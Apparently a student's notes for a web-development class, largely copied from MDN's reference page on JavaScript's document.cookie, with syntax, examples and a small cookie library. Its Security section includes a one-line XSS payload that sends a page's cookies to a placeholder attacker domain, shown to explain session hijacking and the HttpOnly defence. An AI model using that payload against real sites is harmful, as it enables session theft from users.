/\*

Today - ITC 240

\*Cookies

\*JSON

\*FUNCTIONS

\*/

Cookies have the following characteristics:

* Domain specific
* Path
* Expiration (they are temporary)
* 2 kinds of cookies
  + Long term cookies (they have an expiration date …but do last longer)
  + Session cookies (unless an expiration date is specified, it goes away as soon as the browser is closed.

They are one of the oldest parts of the browser.

RESOURCES:

* http://us2.php.net/manual/en/function.setcookie.php
* <https://developer.mozilla.org/en-US/docs/Web/API/document.cookie>

**key-value pairs**

**-You have to leave header before you do anything else-**

**Syntax**

*allCookies* = *document*.cookie;

allCookies is a string containing a semicolon-separated list of cookies (i.e. *key*=*value* pairs)

*document*.cookie = *updatedCookie*;

updatedCookie is a string of form *key*=*value*. Note that you can only set/update a single cookie at a time using this method.

* Any of the following cookie attribute values can optionally follow the key-value pair, specifying the cookie to set/update, and preceded by a semi-colon separator:
  + ;path=*path* (e.g., '/', '/mydir') If not specified, defaults to the current path of the current document location.
  + ;domain=*domain* (e.g., 'example.com', '.example.com' (includes all subdomains), 'subdomain.example.com') If not specified, defaults to the host portion of the current document location.
  + ;max-age=*max-age-in-seconds* (e.g., 60\*60\*24\*365 for a year)
  + ;expires=*date-in-GMTString-format* If not specified it will expire at the end of session.
    - See [Date.toUTCString()](https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Date/toUTCString) for help formatting this value.
  + ;secure (cookie to only be transmitted over secure protocol as https)
* The cookie value string can use [encodeURIComponent()](https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/encodeURIComponent) to ensure that the string does not contain any commas, semicolons, or whitespace (which are disallowed in cookie values).

**Note:** Prior to Gecko 6.0, paths with quotes were treated as if the quotes were part of the string, instead of as if they were delimiters surrounding the actual path string. This has been fixed.

**Examples**

**Example #1: Simple usage**

document.cookie = "name=oeschger";

document.cookie = "favorite\_food=tripe";

alert(document.cookie);

// displays: name=oeschger;favorite\_food=tripe

**Example #2: Get a sample cookie named *test2***

document.cookie = "test1=Hello";

document.cookie = "test2=World";

var myCookie = document.cookie.replace(/(?:(?:^|.\*;\s\*)test2\s\*\=\s\*([^;]\*).\*$)|^.\*$/, "$1");

alert(myCookie);

// displays: World

**Example #3: Do something only once**

function executeOnce () {

var argc = arguments.length, bImplGlob = typeof arguments[argc - 1] === "string";

if (bImplGlob) { argc++; }

if (argc < 3) { throw new TypeError("executeOnce - not enough arguments"); }

var fExec = arguments[0], sKey = arguments[argc - 2];

if (typeof fExec !== "function") { throw new TypeError("executeOnce - first argument must be a function"); }

if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { throw new TypeError("executeOnce - invalid identifier"); }

if (unescape(document.cookie.replace(new RegExp("(?:(?:^|.\*;)\\s\*" + escape(sKey).replace(/[\-\.\+\\*]/g, "\\$&") + "\\s\*\\=\\s\*([^;]\*).\*$)|^.\*$"), "$1")) === "1") { return false; }

fExec.apply(argc > 3 ? arguments[1] : null, argc > 4 ? Array.prototype.slice.call(arguments, 2, argc - 2) : []);

document.cookie = escape(sKey) + "=1; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=" + ((bImplGlob ? false : arguments[argc - 1]) ? location.pathname : "/");

return true;

}

**Syntax**

executeOnce(*callback*[, *thisObject*[, *argumentToPass1*[, *argumentToPass2*[, …[, *argumentToPassN*]]]]], *identifier*[, *onlyHere*])

**Description**

Executes a function only once, even after the refresh of the page.

**Parameters**

callback (required)

The function to be executed ([function](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function)).

thisObject *(optional)*

The [this](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/this) object ([object](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object) or [null](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/null)).

argumentToPass1, argumentToPass2, argumentToPassN *(optional)*

The arguments of the callback function.

identifier (required)

The identifier to check, i.e. the name of the cookie ([string](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String))

onlyHere *(optional)*

A [boolean](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean) expressing whether the cookie will use the local path (true) instead of the global one (false or undefined) ([boolean](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean" \o "/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean) or [undefined](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined))

**Sample usage**

function alertSomething (sMsg) {

alert(sMsg);

}

executeOnce(alertSomething, null, "Hello world!!!!", "alert\_something");

**Example #3bis: Do something only once – simplified code**

In order to use the following code, please, replace all occurrences of the word someCookieName (the name of the cookie) with a custom name.

if (document.cookie.replace(/(?:(?:^|.\*;\s\*)someCookieName\s\*\=\s\*([^;]\*).\*$)|^.\*$/, "$1") !== "true") {

alert("Do something here!");

document.cookie = "someCookieName=true; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=/";

}

**A little framework: a complete cookies reader/writer with full unicode support**

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|\*| :: cookies.js ::

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|\*| A complete cookies reader/writer framework with full unicode support.

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|\*| https://developer.mozilla.org/en-US/docs/DOM/document.cookie

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|\*| This framework is released under the GNU Public License, version 3 or later.

|\*| http://www.gnu.org/licenses/gpl-3.0-standalone.html

|\*|

|\*| Syntaxes:

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|\*| \* docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])

|\*| \* docCookies.getItem(name)

|\*| \* docCookies.removeItem(name[, path], domain)

|\*| \* docCookies.hasItem(name)

|\*| \* docCookies.keys()

|\*|

\\*/

var docCookies = {

getItem: function (sKey) {

return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.\*;)\\s\*" + encodeURIComponent(sKey).replace(/[\-\.\+\\*]/g, "\\$&") + "\\s\*\\=\\s\*([^;]\*).\*$)|^.\*$"), "$1")) || null;

},

setItem: function (sKey, sValue, vEnd, sPath, sDomain, bSecure) {

if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { return false; }

var sExpires = "";

if (vEnd) {

switch (vEnd.constructor) {

case Number:

sExpires = vEnd === Infinity ? "; expires=Fri, 31 Dec 9999 23:59:59 GMT" : "; max-age=" + vEnd;

break;

case String:

sExpires = "; expires=" + vEnd;

break;

case Date:

sExpires = "; expires=" + vEnd.toUTCString();

break;

}

}

document.cookie = encodeURIComponent(sKey) + "=" + encodeURIComponent(sValue) + sExpires + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : "") + (bSecure ? "; secure" : "");

return true;

},

removeItem: function (sKey, sPath, sDomain) {

if (!sKey || !this.hasItem(sKey)) { return false; }

document.cookie = encodeURIComponent(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT" + ( sDomain ? "; domain=" + sDomain : "") + ( sPath ? "; path=" + sPath : "");

return true;

},

hasItem: function (sKey) {

return (new RegExp("(?:^|;\\s\*)" + encodeURIComponent(sKey).replace(/[\-\.\+\\*]/g, "\\$&") + "\\s\*\\=")).test(document.cookie);

},

keys: /\* optional method: you can safely remove it! \*/ function () {

var aKeys = document.cookie.replace(/((?:^|\s\*;)[^\=]+)(?=;|$)|^\s\*|\s\*(?:\=[^;]\*)?(?:\1|$)/g, "").split(/\s\*(?:\=[^;]\*)?;\s\*/);

for (var nIdx = 0; nIdx < aKeys.length; nIdx++) { aKeys[nIdx] = decodeURIComponent(aKeys[nIdx]); }

return aKeys;

}

};

**Note:** For *never-expire-cookies* we used the arbitrarily distant date Fri, 31 Dec 9999 23:59:59 GMT. If for any reason you are afraid of such a date, use the [*conventional date of end of the world*](http://en.wikipedia.org/wiki/Year_2038_problem) Tue, 19 Jan 2038 03:14:07 GMT – which is the maximum number of *seconds* elapsed since since 1 January 1970 00:00:00 UTC expressible by a [signed 32-bit integer](https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Operators/Bitwise_Operators#Signed_32-bit_integers) (i.e.: 01111111111111111111111111111111, which is new Date(0x7fffffff \* 1e3)).

**Writing a cookie**

**Syntax**

docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])

**Description**

Create/overwrite a cookie.

**Parameters**

name (required)

The name of the cookie to create/overwrite ([string](https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/String)).

value (required)

The value of the cookie ([string](https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/String)).

end *(optional)*

The max-age in seconds (e.g. 31536e3 for a year, [Infinity](https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Infinity) for a never-expires cookie) or the expires date in [GMTString](https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Date/toGMTString) format or as [Date object](https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Date); if not specified it will expire at the end of session ([number](https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Number) – finite or [Infinity](https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Infinity) – [string](https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/String), [Date object](https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Date) or [null](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/null)).

path *(optional)*

E.g., "/", "/mydir"; if not specified, defaults to the current path of the current document location ([string](https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/String) or [null](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/null)).

domain *(optional)*

E.g., "example.com", ".example.com" (includes all subdomains) or "subdomain.example.com"; if not specified, defaults to the host portion of the current document location ([string](https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/String) or [null](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/null)).

secure *(optional)*

The cookie will be transmitted only over secure protocol as https ([boolean](https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Boolean" \o "JavaScript/Reference/Global_Objects/Boolean) or [null](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/null)).

**Getting a cookie**

**Syntax**

docCookies.getItem(name)

**Description**

Read a cookie. If the cookie doesn't exist a [null](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/null) value will be returned.

**Parameters**

name

the name of the cookie to read ([string](https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/String)).

**Removing a cookie**

**Syntax**

docCookies.removeItem(name[, path],domain)

**Description**

Delete a cookie.

**Parameters**

name

the name of the cookie to remove ([string](https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/String)).

path *(optional)*

e.g., "/", "/mydir"; if not specified, defaults to the current path of the current document location ([string](https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/String) or [null](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/null)).

domain (optional)

E.g., "example.com", ".example.com" (includes all subdomains) or "subdomain.example.com"; if not specified, defaults to the host portion of the current document location ([string](https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/String) or [null](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/null)).

**Testing a cookie**

**Syntax**

docCookies.hasItem(name)

**Description**

Check if a cookie exists.

**Parameters**

name

the name of the cookie to test ([string](https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/String)).

**Getting the list of all cookies**

**Syntax**

docCookies.keys()

**Description**

Returns an array of all readable cookies from this location.

**Example usage:**

docCookies.setItem("test0", "Hello world!");

docCookies.setItem("test1", "Unicode test: \u00E0\u00E8\u00EC\u00F2\u00F9", Infinity);

docCookies.setItem("test2", "Hello world!", new Date(2020, 5, 12));

docCookies.setItem("test3", "Hello world!", new Date(2027, 2, 3), "/blog");

docCookies.setItem("test4", "Hello world!", "Sun, 06 Nov 2022 21:43:15 GMT");

docCookies.setItem("test5", "Hello world!", "Tue, 06 Dec 2022 13:11:07 GMT", "/home");

docCookies.setItem("test6", "Hello world!", 150);

docCookies.setItem("test7", "Hello world!", 245, "/content");

docCookies.setItem("test8", "Hello world!", null, null, "example.com");

docCookies.setItem("test9", "Hello world!", null, null, null, true);

docCookies.setItem("test1;=", "Safe character test;=", Infinity);

alert(docCookies.keys().join("\n"));

alert(docCookies.getItem("test1"));

alert(docCookies.getItem("test5"));

docCookies.removeItem("test1");

docCookies.removeItem("test5", "/home");

alert(docCookies.getItem("test1"));

alert(docCookies.getItem("test5"));

alert(docCookies.getItem("unexistingCookie"));

alert(docCookies.getItem());

alert(docCookies.getItem("test1;="));

**Security**

It is important to note that the path restriction does **not** protect against unauthorized reading of the cookie from a different path. It can easily be bypassed with simple DOM (for example by creating a hidden [iframe](https://developer.mozilla.org/en-US/docs/HTML/Element/iframe) element with the path of the cookie, then accessing this iframe's contentDocument.cookie property). The only way to protect cookie access is by using a different domain or subdomain, due to the [same origin policy](https://developer.mozilla.org/en-US/docs/Same_origin_policy_for_JavaScript).

Cookies are often used in web application to identify a user and their authenticated session. So stealing cookie from a web application, will lead to hijacking the authenticated user's session. Common ways to steal cookies include using Social Engineering or by exploiting an XSS vulnerability in the application -

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

The HTTPOnly cookie attribute can help to mitigate this attack by preventing access to cookie value through Javascript. Read more about [Cookies and Security](http://www.nczonline.net/blog/2009/05/12/cookies-and-security/).

**Notes**

* Starting with Firefox 2, a better mechanism for client-side storage is available - [WHATWG DOM Storage](https://developer.mozilla.org/en-US/docs/DOM/Storage).
* You can delete a cookie by simply updating its expiration time to zero.
* Keep in mind that the more you have cookies the more data will be transferred between the server and the client for each request. This will make each request slower. It is highly recommended for you to use [WHATWG DOM Storage](https://developer.mozilla.org/en-US/docs/DOM/Storage) if you are going to keep "client-only" data.

**Specification**

[DOM Level 2: HTMLDocument.cookie](http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-8747038)

**See also**

* [HTTP cookies](https://developer.mozilla.org/en-US/docs/Web_Development/HTTP_cookies)
* [Cookies](https://developer.mozilla.org/en-US/docs/Code_snippets/Cookies) (Code snippets)

**Document Tags and Contributors**

**Tags:**

* [Property](https://developer.mozilla.org/en-US/docs/tag/Property)
* [NeedsSpecTable](https://developer.mozilla.org/en-US/docs/tag/NeedsSpecTable)
* [Reference](https://developer.mozilla.org/en-US/docs/tag/Reference)
* [NeedsMarkupWork](https://developer.mozilla.org/en-US/docs/tag/NeedsMarkupWork)
* [API](https://developer.mozilla.org/en-US/docs/tag/API)
* [NeedsCompatTable](https://developer.mozilla.org/en-US/docs/tag/NeedsCompatTable)
* [HTML DOM](https://developer.mozilla.org/en-US/docs/tag/HTML%20DOM)
* [Référence](https://developer.mozilla.org/en-US/docs/tag/R%C3%A9f%C3%A9rence)
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**Last updated by:** [teoli](https://developer.mozilla.org/en-US/profiles/teoli), Mar 24, 2014 9:02:00 AM

See also

1. [DOM Reference](https://developer.mozilla.org/en-US/docs/DOM/DOM_Reference)
2. [**document**](https://developer.mozilla.org/en-US/docs/Web/API/document)
3. [**Properties**](https://developer.mozilla.org/en-US/docs/Web/API/document.cookie)
   1. [*Document.activeElement()*](https://developer.mozilla.org/en-US/docs/Web/API/Document.activeElement)
   2. [*Document.alinkColor*](https://developer.mozilla.org/en-US/docs/Web/API/Document.alinkColor)
   3. [*Document.anchors*](https://developer.mozilla.org/en-US/docs/Web/API/Document.anchors)
   4. [*Document.applets*](https://developer.mozilla.org/en-US/docs/Web/API/Document.applets)
   5. [*Document.bgColor*](https://developer.mozilla.org/en-US/docs/Web/API/Document.bgColor)
   6. [*Document.body*](https://developer.mozilla.org/en-US/docs/Web/API/Document.body)
   7. [*document.cookie*](https://developer.mozilla.org/en-US/docs/Web/API/document.cookie)
   8. [*Document.dir*](https://developer.mozilla.org/en-US/docs/Web/API/Document.dir)
   9. [*Document.domConfig*](https://developer.mozilla.org/en-US/docs/Web/API/Document.domConfig)
   10. [*Document.location*](https://developer.mozilla.org/en-US/docs/Web/API/Document.location)
   11. [*Document.scripts*](https://developer.mozilla.org/en-US/docs/Web/API/Document.scripts)
   12. [*Document.styleSheets*](https://developer.mozilla.org/en-US/docs/Web/API/Document.styleSheets)
   13. [*Document.xmlEncoding*](https://developer.mozilla.org/en-US/docs/Web/API/Document.xmlEncoding)
   14. [*document.URL*](https://developer.mozilla.org/en-US/docs/Web/API/document.URL)
   15. [*document.async*](https://developer.mozilla.org/en-US/docs/Web/API/document.async)
   16. [*document.characterSet*](https://developer.mozilla.org/en-US/docs/Web/API/document.characterSet)
   17. [*document.compatMode*](https://developer.mozilla.org/en-US/docs/Web/API/document.compatMode)
   18. [*document.contentType*](https://developer.mozilla.org/en-US/docs/Web/API/document.contentType)
   19. [*document.currentScript*](https://developer.mozilla.org/en-US/docs/Web/API/document.currentScript)
   20. [*document.defaultView*](https://developer.mozilla.org/en-US/docs/Web/API/document.defaultView)
   21. [*document.designMode*](https://developer.mozilla.org/en-US/docs/Web/API/document.designMode)
   22. [*document.doctype*](https://developer.mozilla.org/en-US/docs/Web/API/document.doctype)
   23. [*document.documentElement*](https://developer.mozilla.org/en-US/docs/Web/API/document.documentElement)
   24. [*document.documentURI*](https://developer.mozilla.org/en-US/docs/Web/API/document.documentURI)
   25. [*document.documentURIObject*](https://developer.mozilla.org/en-US/docs/Web/API/document.documentURIObject)
   26. [*document.domain*](https://developer.mozilla.org/en-US/docs/Web/API/document.domain)
   27. [*document.embeds*](https://developer.mozilla.org/en-US/docs/Web/API/document.embeds)
   28. [*document.fgColor*](https://developer.mozilla.org/en-US/docs/Web/API/document.fgColor)
   29. [*document.firstChild*](https://developer.mozilla.org/en-US/docs/Web/API/document.firstChild)
   30. [*document.forms*](https://developer.mozilla.org/en-US/docs/Web/API/document.forms)
   31. [*document.head*](https://developer.mozilla.org/en-US/docs/Web/API/document.head)
   32. [*document.height*](https://developer.mozilla.org/en-US/docs/Web/API/document.height)
   33. [*document.images*](https://developer.mozilla.org/en-US/docs/Web/API/document.images)
   34. [*document.implementation*](https://developer.mozilla.org/en-US/docs/Web/API/document.implementation)
   35. [*document.inputEncoding*](https://developer.mozilla.org/en-US/docs/Web/API/document.inputEncoding)
   36. [*document.lastModified*](https://developer.mozilla.org/en-US/docs/Web/API/document.lastModified)
   37. [*document.lastStyleSheetSet*](https://developer.mozilla.org/en-US/docs/Web/API/document.lastStyleSheetSet)
   38. [*document.linkColor*](https://developer.mozilla.org/en-US/docs/Web/API/document.linkColor)
   39. [*document.links*](https://developer.mozilla.org/en-US/docs/Web/API/document.links)
   40. [*document.mozFullScreen*](https://developer.mozilla.org/en-US/docs/Web/API/document.mozFullScreen)
   41. [*document.mozFullScreenElement*](https://developer.mozilla.org/en-US/docs/Web/API/document.mozFullScreenElement)
   42. [*document.mozFullScreenEnabled*](https://developer.mozilla.org/en-US/docs/Web/API/document.mozFullScreenEnabled)
   43. [*document.mozSyntheticDocument*](https://developer.mozilla.org/en-US/docs/Web/API/document.mozSyntheticDocument)
   44. [*document.namespaceURI*](https://developer.mozilla.org/en-US/docs/Web/API/document.namespaceURI)
   45. [*document.nodePrincipal*](https://developer.mozilla.org/en-US/docs/Web/API/document.nodePrincipal)
   46. [*document.ononline*](https://developer.mozilla.org/en-US/docs/Web/API/document.ononline)
   47. [*document.plugins*](https://developer.mozilla.org/en-US/docs/Web/API/document.plugins)
   48. [*document.pointerLockElement*](https://developer.mozilla.org/en-US/docs/Web/API/document.pointerLockElement)
   49. [*document.popupNode*](https://developer.mozilla.org/en-US/docs/Web/API/document.popupNode)
   50. [*document.preferredStyleSheetSet*](https://developer.mozilla.org/en-US/docs/Web/API/document.preferredStyleSheetSet)
   51. [*document.readyState*](https://developer.mozilla.org/en-US/docs/Web/API/document.readyState)
   52. [*document.referrer*](https://developer.mozilla.org/en-US/docs/Web/API/document.referrer)
   53. [*document.selectedStyleSheetSet*](https://developer.mozilla.org/en-US/docs/Web/API/document.selectedStyleSheetSet)
   54. [*document.styleSheetSets*](https://developer.mozilla.org/en-US/docs/Web/API/document.styleSheetSets)
   55. [*document.textContent*](https://developer.mozilla.org/en-US/docs/Web/API/document.textContent)
   56. [*document.title*](https://developer.mozilla.org/en-US/docs/Web/API/document.title)
   57. [*document.tooltipNode*](https://developer.mozilla.org/en-US/docs/Web/API/document.tooltipNode)
   58. [*document.vlinkColor*](https://developer.mozilla.org/en-US/docs/Web/API/document.vlinkColor)
   59. [*document.width*](https://developer.mozilla.org/en-US/docs/Web/API/document.width)
   60. [*document.xmlVersion*](https://developer.mozilla.org/en-US/docs/Web/API/document.xmlVersion)
4. [**Methods**](https://developer.mozilla.org/en-US/docs/Web/API/document.cookie)
   1. [Document.caretPositionFromPoint()()](https://developer.mozilla.org/en-US/docs/Web/API/Document.caretPositionFromPoint)
   2. [Document.createNodeIterator()](https://developer.mozilla.org/en-US/docs/Web/API/Document.createNodeIterator)
   3. [Document.createRange()](https://developer.mozilla.org/en-US/docs/Web/API/Document.createRange)
   4. [Document.createTreeWalker()()](https://developer.mozilla.org/en-US/docs/Web/API/Document.createTreeWalker)
   5. [Document.elementFromPoint()()](https://developer.mozilla.org/en-US/docs/Web/API/Document.elementFromPoint)
   6. [Document.releaseCapture()](https://developer.mozilla.org/en-US/docs/Web/API/Document.releaseCapture)
   7. [document.adoptNode()](https://developer.mozilla.org/en-US/docs/Web/API/document.adoptNode)
   8. [document.clear()](https://developer.mozilla.org/en-US/docs/Web/API/document.clear)
   9. [document.close()](https://developer.mozilla.org/en-US/docs/Web/API/document.close)
   10. [document.createAttribute()](https://developer.mozilla.org/en-US/docs/Web/API/document.createAttribute)
   11. [document.createCDATASection()](https://developer.mozilla.org/en-US/docs/Web/API/document.createCDATASection)
   12. [document.createComment()](https://developer.mozilla.org/en-US/docs/Web/API/document.createComment)
   13. [document.createDocumentFragment()](https://developer.mozilla.org/en-US/docs/Web/API/document.createDocumentFragment)
   14. [document.createElement()](https://developer.mozilla.org/en-US/docs/Web/API/document.createElement)
   15. [document.createElementNS()](https://developer.mozilla.org/en-US/docs/Web/API/document.createElementNS)
   16. [document.createEntityReference()](https://developer.mozilla.org/en-US/docs/Web/API/document.createEntityReference)
   17. [document.createEvent()](https://developer.mozilla.org/en-US/docs/Web/API/document.createEvent)
   18. [document.createExpression()](https://developer.mozilla.org/en-US/docs/Web/API/document.createExpression)
   19. [document.createNSResolver()](https://developer.mozilla.org/en-US/docs/Web/API/document.createNSResolver)
   20. [document.createProcessingInstruction()](https://developer.mozilla.org/en-US/docs/Web/API/document.createProcessingInstruction)
   21. [document.createTextNode()](https://developer.mozilla.org/en-US/docs/Web/API/document.createTextNode)
   22. [document.enableStyleSheetsForSet()](https://developer.mozilla.org/en-US/docs/Web/API/document.enableStyleSheetsForSet)
   23. [document.evaluate()](https://developer.mozilla.org/en-US/docs/Web/API/document.evaluate)
   24. [document.exitPointerLock()](https://developer.mozilla.org/en-US/docs/Web/API/document.exitPointerLock)
   25. [document.getBoxObjectFor()](https://developer.mozilla.org/en-US/docs/Web/API/document.getBoxObjectFor)
   26. [document.getElementById()](https://developer.mozilla.org/en-US/docs/Web/API/document.getElementById)
   27. [document.getElementsByClassName()](https://developer.mozilla.org/en-US/docs/Web/API/document.getElementsByClassName)
   28. [document.getElementsByName()](https://developer.mozilla.org/en-US/docs/Web/API/document.getElementsByName)
   29. [document.getElementsByTagName()](https://developer.mozilla.org/en-US/docs/Web/API/document.getElementsByTagName)
   30. [document.getElementsByTagNameNS()](https://developer.mozilla.org/en-US/docs/Web/API/document.getElementsByTagNameNS)
   31. [document.getSelection()](https://developer.mozilla.org/en-US/docs/Web/API/document.getSelection)
   32. [document.hasFocus()](https://developer.mozilla.org/en-US/docs/Web/API/document.hasFocus)
   33. [document.importNode()](https://developer.mozilla.org/en-US/docs/Web/API/document.importNode)
   34. [document.loadOverlay()](https://developer.mozilla.org/en-US/docs/Web/API/document.loadOverlay)
   35. [document.mozCancelFullScreen()](https://developer.mozilla.org/en-US/docs/Web/API/document.mozCancelFullScreen)
   36. [document.mozSetImageElement()](https://developer.mozilla.org/en-US/docs/Web/API/document.mozSetImageElement)
   37. [document.open()](https://developer.mozilla.org/en-US/docs/Web/API/document.open)
   38. [document.queryCommandSupported()](https://developer.mozilla.org/en-US/docs/Web/API/document.queryCommandSupported)
   39. [document.querySelector()](https://developer.mozilla.org/en-US/docs/Web/API/document.querySelector)
   40. [document.querySelectorAll()](https://developer.mozilla.org/en-US/docs/Web/API/document.querySelectorAll)
   41. [document.write()](https://developer.mozilla.org/en-US/docs/Web/API/document.write)
   42. [document.writeln()](https://developer.mozilla.org/en-US/docs/Web/API/document.writeln)